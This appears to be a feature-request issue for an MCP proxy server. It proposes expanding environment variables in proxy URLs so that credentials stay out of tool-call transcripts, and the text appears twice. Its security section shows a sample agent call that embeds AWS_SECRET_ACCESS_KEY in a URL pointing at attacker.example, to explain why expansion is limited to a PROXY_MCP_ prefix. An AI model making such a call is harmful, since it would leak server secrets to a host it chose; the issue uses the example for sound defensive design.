Problem
proxy_url is a plain z.string() passed straight through to
setGlobalUpstream. There is no way to point the server at a credentialed
upstream without putting the credential in the tool call — and MCP tool
arguments are persisted in the client transcript.
Any workflow using an authenticated upstream therefore writes its password into
the conversation log on every call, and there is no workaround: the value has to
be literal. pac+http:// cannot carry credentials, and there is no startup
option to preset an upstream.
Environment variables are the natural indirection, and the server already reads
config that way (arg() in src/index.ts falls back to process.env). Stdio
MCP servers inherit the launching shell's environment, so this works without
extra client configuration.
proxy_set_upstream({ proxy_url: "http://user:${PROXY_MCP_UPSTREAM_PASSWORD}@proxy.example.com:8000" })
Expanding inside the string rather than replacing the whole URL is the point.
The non-secret parts are what callers vary per request — with Apify Proxy the
username field encodes proxy group, country and sticky-session id, all of which
change constantly while the password never does. A whole-URL env var would force
that configuration into the environment and require a server restart to change
a country code.
Security: namespace the readable variables
Unrestricted ${VAR} expansion would turn this tool into an environment-variable
exfiltration primitive. An agent could call:
proxy_set_upstream({ proxy_url: "http://x:${AWS_SECRET_ACCESS_KEY}@attacker.example:80" })
and the proxy would send that value as Proxy-Authorization to a host the agent
chose. The tool can already route traffic anywhere; what it cannot currently do
is read the server's environment. Expansion would grant exactly that.
Proposed mitigation: only expand variables whose names begin with
PROXY_MCP_. Zero configuration, and a secret has to be deliberately placed
in that namespace to become reachable. An explicit startup allowlist
(--allow-env=NAME,NAME) would also work if you prefer arbitrary names; the
prefix is just the option that needs no config.
Acceptance criteria
${PROXY_MCP_*} placeholders in an upstream URL are replaced from
process.env before the URL is parsed or used, for
proxy_set_upstream.proxy_url, proxy_set_host_upstream.proxy_url, and
proxy_mobile_setup.upstream_proxy_url.
- A
${VAR} placeholder whose name lacks the PROXY_MCP_ prefix fails with an
error naming the variable and stating the prefix rule. It is not silently
left literal — that would send a URL containing ${...} to the upstream and
fail confusingly.
- A referenced variable that is unset or empty fails with an error naming the
variable, before any connection is attempted. It must never expand to an empty
string: a silently empty password yields a broken upstream that is very hard
to diagnose.
$VAR without braces is left alone, so existing literal URLs containing $
keep working.
- Expansion happens once; the result is not re-scanned.
- Expanded values are never echoed back in tool responses.
- Expansion lives in a pure exported function in
src/utils.ts, covered in
test/unit/utils.test.ts, with cases for: one placeholder, several
placeholders, unprefixed name rejected, unset variable rejected, empty
variable rejected, no placeholder, and $VAR left alone.
- Add no runtime dependency.
Verification
npm run build && npm run test:unit
Companion to #22, which covers redacting credentials from the responses. The two are independent; #22 stands on its own.
Problem
proxy_urlis a plainz.string()passed straight through tosetGlobalUpstream. There is no way to point the server at a credentialedupstream without putting the credential in the tool call — and MCP tool
arguments are persisted in the client transcript.
Any workflow using an authenticated upstream therefore writes its password into
the conversation log on every call, and there is no workaround: the value has to
be literal.
pac+http://cannot carry credentials, and there is no startupoption to preset an upstream.
Environment variables are the natural indirection, and the server already reads
config that way (
arg()insrc/index.tsfalls back toprocess.env). StdioMCP servers inherit the launching shell's environment, so this works without
extra client configuration.
Expanding inside the string rather than replacing the whole URL is the point.
The non-secret parts are what callers vary per request — with Apify Proxy the
username field encodes proxy group, country and sticky-session id, all of which
change constantly while the password never does. A whole-URL env var would force
that configuration into the environment and require a server restart to change
a country code.
Security: namespace the readable variables
Unrestricted
${VAR}expansion would turn this tool into an environment-variableexfiltration primitive. An agent could call:
and the proxy would send that value as
Proxy-Authorizationto a host the agentchose. The tool can already route traffic anywhere; what it cannot currently do
is read the server's environment. Expansion would grant exactly that.
Proposed mitigation: only expand variables whose names begin with
PROXY_MCP_. Zero configuration, and a secret has to be deliberately placedin that namespace to become reachable. An explicit startup allowlist
(
--allow-env=NAME,NAME) would also work if you prefer arbitrary names; theprefix is just the option that needs no config.
Acceptance criteria
${PROXY_MCP_*}placeholders in an upstream URL are replaced fromprocess.envbefore the URL is parsed or used, forproxy_set_upstream.proxy_url,proxy_set_host_upstream.proxy_url, andproxy_mobile_setup.upstream_proxy_url.${VAR}placeholder whose name lacks thePROXY_MCP_prefix fails with anerror naming the variable and stating the prefix rule. It is not silently
left literal — that would send a URL containing
${...}to the upstream andfail confusingly.
variable, before any connection is attempted. It must never expand to an empty
string: a silently empty password yields a broken upstream that is very hard
to diagnose.
$VARwithout braces is left alone, so existing literal URLs containing$keep working.
src/utils.ts, covered intest/unit/utils.test.ts, with cases for: one placeholder, severalplaceholders, unprefixed name rejected, unset variable rejected, empty
variable rejected, no placeholder, and
$VARleft alone.Verification
npm run build && npm run test:unitCompanion to #22, which covers redacting credentials from the responses. The two are independent; #22 stands on its own.